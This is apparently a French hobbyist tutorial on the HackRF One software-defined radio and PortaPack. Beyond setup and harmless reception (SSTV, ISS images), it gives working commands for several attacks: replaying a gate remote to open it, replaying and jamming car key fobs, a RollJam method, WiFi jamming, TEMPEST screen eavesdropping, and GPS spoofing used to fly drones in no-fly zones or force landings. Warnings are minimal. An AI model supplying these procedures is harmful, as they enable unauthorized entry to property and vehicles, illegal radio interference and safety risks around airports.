Table des matières :
Le Software Defined Radio (Radio Logiciel) est un récepteur ( et parfois émetteur ) radio remplacé logicielement et matériellement, donc capable de réaliser de manière logicielle des traitements numériques.
Avantage : la puissance du pc permet de traiter les signaux
Les radios logicielles permettent l'utilisation de multiples formes d'ondes, éventuellement dans différentes bandes spectrales, pour différents usages, voire même de façon simultanée. Depuis quelques années, la technologie des radios logiciels a fortement, entrainant la réduction des temps et des coûts de conception des produits radios.
Le HackRF est in émetteur-récepteur, crée par Great Scott Gadget en 2014
Prix : environ 300€ (Antenne comprise)
Réception / Emission : de 10Mhz à 6GHz
Hackrf_info : lors du branchement du hackRF One, cette commande permet d'avoir des informations sur sa version
Hackrf_transfer : permet de capturer un transfère et de le restransmettre par la suite
hackrf_debug : Commande de debug du hackRF One
hackrf_sweep : Commande qui va balayer un champ de fréquences et l'analyser
hackrf_spiflash : Mettre à jour le firmware
hackrf_cpldjtag : Mettre à jour le cpld
Le PortaPack est une coque rigide avec un écran LCD et des touches de navigation
lien github
Prix : 200 €
le portapack permet d'avoir une interface graphique, et d'effectuer des manipulation directement sur le hackRF One.
- le firmware officiel, développé par sharebrained : https://github.com/sharebrained/portapack-hackrf/
- Havoc est un firmware Non officiel pour le portapack développé par le grand furrtek
Note : il existe des versions non officiels des portapacks pour hackRF One pour l'avoir testé, celui-ci fonctionne tout aussi bien ! : Lien Amazon
Pour installer le firmware Havoc sur Windows, une vidéo youtube trés claire à été réalisée sur le sujet :
Lien Youtube
Lorsque le firmware de votre portapack sera installé il sera toujours possible de lancer le mode hackRF (sur pc) il suffit d'activer l'option "HackRF Mode" dans le menu.
Lorsque vous aurez reçu le HackRF, il faut d'abord mettre à jour le firmware et installer le paquet HackRF sur un PC:
installer le paquet hackrf (Linux) :
apt install hackrf
Pour mettre à jour le firmware, se rendre sur le github de Michael Ossmann, l'un des menbres de Great Scott Gadget et le createur du Hackrf One.
Télecharger son Repo HackRF
- Installer l'image standard du firmware :
hackrf_spiflash -w hackrf_one_usb.bin
- Mettre à jour le CPLD (Complex Programmable Logic Device) :
hackrf_cpldjtag -x sgpio_if/default.xsvf
- Vérifier si la mise à jour à été appliquée :
hackrf_info
hackrf_info version: unknown
libhackrf version: unknown (0.5)
Found HackRF
Index: 0
Serial number: 000000000000000057b068dc22451163
Board ID Number: 2 (HackRF One)
Firmware Version: 2018.01.1 (API:1.02)
Part ID Number: 0xa000cb3c 0x00724357
Passons maintenant à la pratique :
pour se faire je vous conseille quelques logiciels de SDR sous linux :
J'utilise gqrx que je trouve très pratique et simple d'utilisation.
Nous allons pour commencer, essayer d'intercepter un signal d'une télécommande de portail :
la première chose à faire est de trouver sur quelle fréquence la telecommande va communiquer avec le portail (en géneral au alentour de 433 Mhz), souvent indiquer soit sur la telecommande, soit sur le site du constructeur.
Si ce n'est pas indiqué :
Internet est votre ami
Avec gqrx nous allons pouvoir vérifier et ajuster la fréquence d'écoute (Assurez vous que le logiciel se base sur votre hackRF dans les paramètres de gqrx)
Une fois sur la bonne fréquence, lorsque nous activons la télecommande nous appercevons bien le signal émis.
Nous avons donc maintenant une fréquence précise : 433.910000 Mhz
Passons ensuite à l'enregistrement :
hackrf_transfer -s 2 -f 433910000 -r open
Déclencher le signal pendant l'enregistrement :
hackrf_transfer -s 2 -f 433910000 -t open -a 1 -x 24
Puis, réinvoquer le signal devant le portail pour l'ouvrir. Options utilisées :
-s : précise le taux d'echantillons en MHz
-f : précise la fréquence exacte enregistrée ou diffusée
-r : Nom du fichier ou sera stocké notre signal
-t : Nom du fichier ou sera lu notre signal (afin de le retransmettre)
-a : Amplifie le signal
-x : le gain entre 0 et 47 dB (en Décibel)
On peut créer un script pour plus de professionnalisme :
figlet Sesame, Ouvre toi !
hackrf_transfer -s 2 -f 433910000 -t open -a 1 -x 24
figlet C'est ouvert !
HackRF.One.-.Portail.mp4
Il s'agit du même procédé, nous trouvons la fréquence, capturons le signal, le stockons et le rediffusons à notre guise.
Dans mon cas, je capte le signal sur la fréquence 446 Mhz.
je capture une séquence d'apel par exemple :
hackrf_transfer -s 2 -f 446000000 -r HackyWalkie
et la rediffuse
hackrf_transfer -s 2 -f 446000000 -t HackyWalkie
HackRF.One.-.Talkie.Walkie.mp4
La plupart de nos voitures aujourd'hui sont livrées avec un porte-clé de déverouillage à distance, ce qui est incroyablement pratique, pratique certe, mais vulnérable...
Pour ne pas que les voitures soit vulnérables à une attaque toute simple de Replay Attack, les constructeur ont équipé leurs (nouvelles) voitures d'un systeme de code roulant (rolling code system) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, une simple Replay Attack comme celle ci est donc impossible.
Je dois donc contourner ce problème si je veux effectuer mon attaque. Je vais donc émettre le signal de mon porte clé suffisamment loin de ma voiture pour pas que celle ci prenne en compte le signal.
Pour la capture et la rediffusion du signal, je vais utiliser le merveilleux outil URH
Car.Key.Replay.Attack.mp4
Etapes :
- Connaitre la fréquence du signal de notre télécommande ( en Europe, la fréquence d'un signal de clé de voiture est autour de 433,9) je reglerais donc ma fréquence en conséquence
- Record le signal ( enlever le surplus / Bruit parasite)
- Rejouer le signal sur la même fréquence
- Bonus 1 ) Avec URH, nous pouvons décoder le signal ( Manchester, Substitution, Morse Manchester I, Wireless Short Packet-WSP, ...)
- Bonus 2) Cet outil nous permet aussi d'analyser le signal et d'extraire les données binaires, pour ensuite, faire un reverse du signal afin de comprendre ce qu'il fait
Le jamming (Brouillage) est une technique (illégal bien sur) visant à perturber les fréquences comportant des informations, en submergant une fréquence avec du bruit.
Il existe des appareils servant spécifiquement à effectuer ce genre d'actions ( Yard Stick One, ... )
Le brouillage se distingue généralement des interférences qui peuvent survenir en raison de dysfonctionnements de l'appareil ou d'autres circonstances accidentelles.
En émettant du bruit sur la fréquence d'une clés de voiture,le signal de la télécommande est 'noyé' parmis les fausses ondes émises :
Résultat de Sharp SDR pour la fréquence 433.9 MHz
Le module Jamming du Portapack Havoc nous permet d'emettre ce genre de bruit :
Jamming.Car.Key.W.HackRF.One.1.mp4
Cette attaque est certes très efficace, mais il est nécessaire de posséder la clé de voiture (tout du moins quelques instants afin de générer le signal). La plupart du temps nous avons aucune interaction avec la victime et donc aucun moyen de se procurer la clef de la voiture (à moins d’utiliser une attaque de social engineering...)
Il existe une méthode d’attaque qui ne nécessite en aucun cas la possession des clefs : Rolljam Attack
Cette attaque nécessite beaucoup de compétences et possède un très faible ratio de réussite, elle mélange brouillage (jamming) et replay Code Rolling.
Méthodologie de l’attaque :
- Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence du déverrouillage de la voiture.
- La victime tente de deverouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.
- Le signal est capturé et enregistré.
- La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.
- Le brouillage s’arrete et le premier signal est lancé ce qui déverrouille la voiture.
Le 2eme signal ( Rolling Code) émis par la victime est enregistré.
Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide. (l'attaquant pourra donc déverouiller la voiture par la suite)
Les fréquences du WiFi sont les bandes 2,4 GHz et 5 GHz.
Les principales différences entre les deux fréquences sont la portée (couverture) et la bande passante (vitesse) fournies par les bandes. La bande 2,4 GHz offre une couverture sur une plus longue portée mais transmet les données à des vitesses plus lentes. La bande 5 GHz offre une couverture moindre mais transmet les données à des vitesses plus rapides.
Sur la bande 2.4 Ghz Voici la liste des canaux (et fréquences associées) autorisés en Wi-Fi :
Une fois le canal déterminé, nous connaissons la fréquence exact sur laquelle un appareil communique avec le routeur. Nous pouvons ensuite construire un graph Gnuradio afin de génerer du bruit sur cette meme fréquence comme ceci :
pour réaliser ceci, je me suis fortement inspiré de Ce repo Github
Cette démonstration est en aucun cas à reproduire chez vous, elle nous sert uniquement à comprendre comment le jamming WIFI fonctionne :
Jamming.WIFI.2.4GHz.1.mp4
Avec le portapack, toutes les manipulations que nous avons effectuées précedemment, pourront desormais être réalisés directement sur le portapack.
Voici le menu d'Havoc :
Prenons par exemple, une lampe avec une télécommande Hertzienne, nous pouvons voir qu'elle communique avec celle-ci sur la fréquence 433.920 Mhz.
Sur le portapack, dans l'onglet "Capture" nous allons régler la fréquence sur 433.9 Mhz, écouter le signal puis l'enregistrer afin de le rediffuser :
Une fois le signal capturé : se rendre dans la partie "Replay", ouvrir le fichier contenant le sginal capturé. (éventuellement régler la fréquence de diffusion)
et hop le signal est rediffusé !!
Le Wiki du Github de furrtek explique très bien toutes les options que nous offre le Portapack: https://github.com/furrtek/portapack-havoc/wiki
L'onglet Play Dead est une sorte de barrière pour empecher les néophytes d'utiliser le portapack :
l'erreur Firmware suivante apparait lorsqu'on rentre dans l'onglet :
Pour sortir, il faut entrer la combinaison prédefinie dans l'onglet : Settings > Play dead
Par defaut cette combinaison est : Haut-Bas-Gauche-Droite (Le bouton Reset marche aussi ^^)
L'onglet "Search/CLose Call" permet d'identifier exactement la fréquence d'un signal, on précise un fenêtre, et on déclenche l'émetteur :
L'onglet Receivers permet de recevoir toutes sortes de fréquences :
- AD-B: Plane : système de surveillance pour le contrôle du trafic aérien (connaitre la position des avions)
- ACARS : système de communication/surveillance entre les aéronef et les sations au sol
- AIS : système d’échanges automatisés de messages entre navires par radio
- AFSk : audio frequency-shift keying, conçue pour véhiculer la voix ou de la musique, par exemple une liaison téléphone ou radio.
- AUDIO : Recpteur Audio capable de recevoir different mode de fréquences (AM et FM)
- ERT : Paquet contenant les données d'un compteur éléctrique/Gaz pour faciliter la collecte de données.
- POCSAG : Protocole de transmission radio utilisé pour les réseaux de radiomessagerie.
- Radiosondes :
- TPMS : Tyre Pressure Monitoring System en anglais, Système de surveillance de la pression des pneumatiques.
- APRS : Automatic Packet Reporting System est un système de radiocommunication numérique utilisé par les radioamateurs, qui permet le partage d'informations d'intérêt local.
- DMR framing : Digital Mobile Radio, norme de radio numérique mobile ouverte et utilisée dans des produits commerciaux à travers le monde.
- SigFox : Sigfox est un opérateur de télécommunications français communiquant sur la fréquence 868 MHz.
- LoRa : LoRaWAN est un protocole de télécommunication permettant la communication à bas débit, par radio, d'objets à faible consommation électrique communiquant selon la technologie LoRa
- SSTV : Slow Scan Television, est une activité radioamateur qui vise à la transmission analogique d'images (J'y consacre quelques lignes juste ici )
- TETRA framing : Terrestrial Trunked Radio, destinés aux équipes de sécurité : elle opére entre 380-400 MHz pour les services d’urgence et dans les bandes 410-430 MHz | 450-470 MHz | 870-880 MHz pour les applications civiles et privées.
L'onglet Transmitters permet de transmettre toutes ces fréquences.
Quelques sigles que l'on va retrouver lors de l'utilisation du hackRF One couplé du Portapack :
- LNA : Amplificateur à faible bruit.
- AMP : Amplificateur.
- VGA : Gain.
Info sur les Leds :
Chaque led à une couleur differente :
-
3V3, 1V8, RF : lorsque ces leds sont allumées, cela signifie que le Hackrf est allimenté (par une batterie externe par exemple)
-
USB : connexion USB à un ordinateur, la communication est donc possible via les commandes hackrf..
-
TX : le hackRF Transmet
-
RX : le hackRF Recoit
-
Le bouton Reset : permet une remise à zero du Microcontrôleur
-
Le bouton ISP / DFU : permet de modifier les données en cas de probleme sur le HackRF
SSTV est une activité qui merite d'être creusée tant elle est interressante, comme vu précedemment c'est un mode qui permet de recevoir / émettre des images
Grace au HackRF One, nous pouvons également émettre des images via le mode SSTV :
Démonstration en vidéo :
Voici l'image de base : (l'image doit etre en format Bitmap (320x256)
Voici la photo une fois recue :
autre exemple : HackRF_SSTV
Logiciels permettant de decoder les images depuis un signal :
- Windows : MMSTV (Gratuit)
- Linux : QSSTV (Gratuit)
- iOS : “SSTV Slow Scan TV” by Black Cat Systems (Payant, 3,49€)
- Mac OS X : Multiscan 3B SSTV (gratuit)
- Android : Robot3 (Gratuit)
source : AMSAT
Il existe des exemples de signaux SSTV à cette adresse afin de s'entrainer : WIKI_SSTV
Fait interessant :
il existe un programme nommé ARISS SSTV (Amateur Radio on the International Space Station) precedemment SAREX crée en 2011, qui transmet des images depuis l'ISS (Station Spacial International) :
Le mode utilisé pour recevoir les images SSTV de la station est le mode PD120. La reception d’une image prend environ 2 minutes sur la fréquence 145.800 Mhz
Nous pouvons aussi uplaoder les images que nous avons recus : spaceflightsoftwaret
*Comment faire : *
Dans un premier temps il est neccessaire de savoir où se situe la Station Spatial International :
- Orbitron (Software)
- n2yo (WebSite)
- SpotTheStation
- ISS Finder
Il faut que l'ISS se trouve a proximité de notre antenne, pour commencer à recevoir le signal SSTV :
et que bien sur, un programme de diffusion de signaux SSTV soit en cours, pour être au courant des programmes de diffusions, nous pouvons nous rendre sur : https://ariss-sstv.blogspot.com ou sur le twitter de ARISSFR
Vidéo youtube : ISS_SSTV_Receive
Tempest SDR est un outil open source de Martin Marinov qui permet, grace aux ondes émisent de façon non intentionelle, d'afficher le contenu d'un écran. Concretement : un cable HDMI émet des ondes 'garbage', celles ci peuvent être récuperées et grace à l'outil Tempest SDR, nous pouvons transformer ces ondes en affichage en temps réel. source
Il faut dans un premier temps connaître sur quelle fréquence radio notre port HDMI envoie son 'garbage' : nous pouvons la déterminer sur GQRX en faisant des tests de branchements / debranchements du cable. Je détermine donc que la 'fréquence d'émission' de mon cable est : 198 000 000 khz
Je branche mon hackRF, je pointe l'antenne vers le port HDMI de mon écran, puis je lance l'outil en écoutant sur la bonne fréquence, je dois aussi connaitre la résolution et le taux de rafraichissement de l'écran cible, et voila :
Vidéo demonstrative de l'outil et de ce qu'on peut faire avec cet outil :
125199892-9c330e80-e268-11eb-9fa8-df8dac52068b.mp4
Le GPS Spoofing est une technique qui consiste à envoyer de fausses informations à un systeme GPS afin d'afficher la mauvaise position.
Fonctionnement d'un GPS : Un recepteur GPS fonctionne grace au calcul de la distance entre sont capteur et plusieurs satellites émeteurs (4) via des ondes, il determine et affiche sa position telle que nous la voyons sur un GPS classique.
la fréquence de signal d'un GPS basique est de 1575,42MHz
GPS-SDR-SIM (Compatible Linux et Windows) est un outil (disponible sur ce repo) permettant de mener ce genre d'action.
- Dans un premier temps nous devons télécharger le fichier BRDC du jour (Broadcast Ephemeris Data) qui contient les posittions de chaque satelitte GPS.
Petit Script qui automatise le process :
#!/bin/bash
# Declaration des Variables
day=$(date +%j)
year=$(date +%Y)
yr=$(date +%y)
RINEX_NAV_FILE="brdc${day}0.${yr}n"
# Téléchargement & extraction du fichier
wget -q ftps://gdc.cddis.eosdis.nasa.gov/pub/gps/data/daily/$year/brdc/$RINEX_NAV_FILE.gz -O brdc_file`date +%d_%m_%y`.gz
gunzip brdc_file`date +%d_%m_%y`.gz
echo -e " le fichier \033[32m"brdc_file`date +%d_%m_%y` "\033[00mest extrait"
-
Trouver une position gps et avoir les infos suivantes : (Latitude,Longitude,hauteur)
-
Puis générer le fichier gpssim.bin executant cette commande en passant comme argument les positions GPS voulu :
$ ./gps-sdr-sim -e brdc_file -b 8 -l 48.859057,2.293276,30
Usage: gps-sdr-sim [options]
Options:
-e <gps_nav> RINEX navigation file for GPS ephemerides (required)
-u <user_motion> User motion file (dynamic mode)
-g <nmea_gga> NMEA GGA stream (dynamic mode)
-c <location> ECEF X,Y,Z in meters (static mode) e.g. 3967283.15,1022538.18,4872414.48
-l <location> Lat,Lon,Hgt (static mode) e.g. 30.286502,120.032669,100
-t <date,time> Scenario start time YYYY/MM/DD,hh:mm:ss
-T <date,time> Overwrite TOC and TOE to scenario start time
-d <duration> Duration [sec] (dynamic mode max: 300 static mode max: 86400)
-o <output> I/Q sampling data file (default: gpssim.bin ; use - for stdout)
-s <frequency> Sampling frequency [Hz] (default: 2600000)
-b <iq_bits> I/Q data format [1/8/16] (default: 16)
-i Disable ionospheric delay for spacecraft scenario
-v Show details about simulated channels
- Exécuter la commande suivante en branchant le HackRF
$ hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 42
Usage: hackrf_transfer [OPTIONS]
Options :
-r <filename> # Receive data into file.
-t <filename> # Transmit data from file.
-w # Receive data into file with WAV header and automatic name.
# This is for SDR# compatibility and may not work with other software.
[-f set_freq_hz] # Set Freq in Hz
[-a set_amp] # Set Amp 1=Enable, 0=Disable.
[-l gain_db] # Set lna gain, 0-40dB, 8dB steps
[-i gain_db] # Set vga(if) gain, 0-62dB, 2dB steps
[-x gain_db] # Set TX vga gain, 0-47dB, 1dB steps
[-s sample_rate_hz] # Set sample rate in Hz (8/10/12.5/16/20MHz)
[-n num_samples] # Number of samples to transfer (default is unlimited).
[-b baseband_filter_bw_hz] # Set baseband filter bandwidth in MHz.
Possible values: 1.75/2.5/3.5/5/5.5/6/7/8/9/10/12/14/15/20/24/28MHz, default < sample_rate_hz.
Si nous exécutons un GQRX sur les fréquences GPS nous voyons bien les ondes que le HackRF envoie :
Voici le résultat en vidéo :
128639352-11dc3526-e1a2-4cf4-ae4e-3d4ed705c560.mov
Cet outil possède une puissante de portée de plusieurs mètres.
Cela fonctionne aussi sur Iphone et son application intégrée : Plans :
Les drones possedent une sécurité GPS qui bloque les vols lorsque les utilisateurs se situent dans certaines Zones (Militaire, Aéroport, Centre Ville)
Voici une map qui répertorie les endroits Autorisés / Interdits partout dans le monde : Drone-Spot
Cependant, il faut savoir que le drone se fie au GPS du téléphone, ce qui veut donc dire que nous pouvons spoofer la positions GPS du téléphone afin de faire décoler notre drone dans des endroits non legitime.
Exemple : 49.199544,5.470661,0
Mais qu'en est t'il d'un spoofing d'endroits 'NO FLY ZONE' lors d'un vol de drone dans un endoit autorisé : Dans ce cas, je vais simuler un vol au dessus d'un aéroport pendant un vol légitime :
la position va se changer et le message suivant apparait : (le pilote dispose de 90 secondes pour partir de la NON FLY ZONE) sinon le drone procedera à un aterissage automatique.
Puis impossible de faire redecoller le drone par la suite :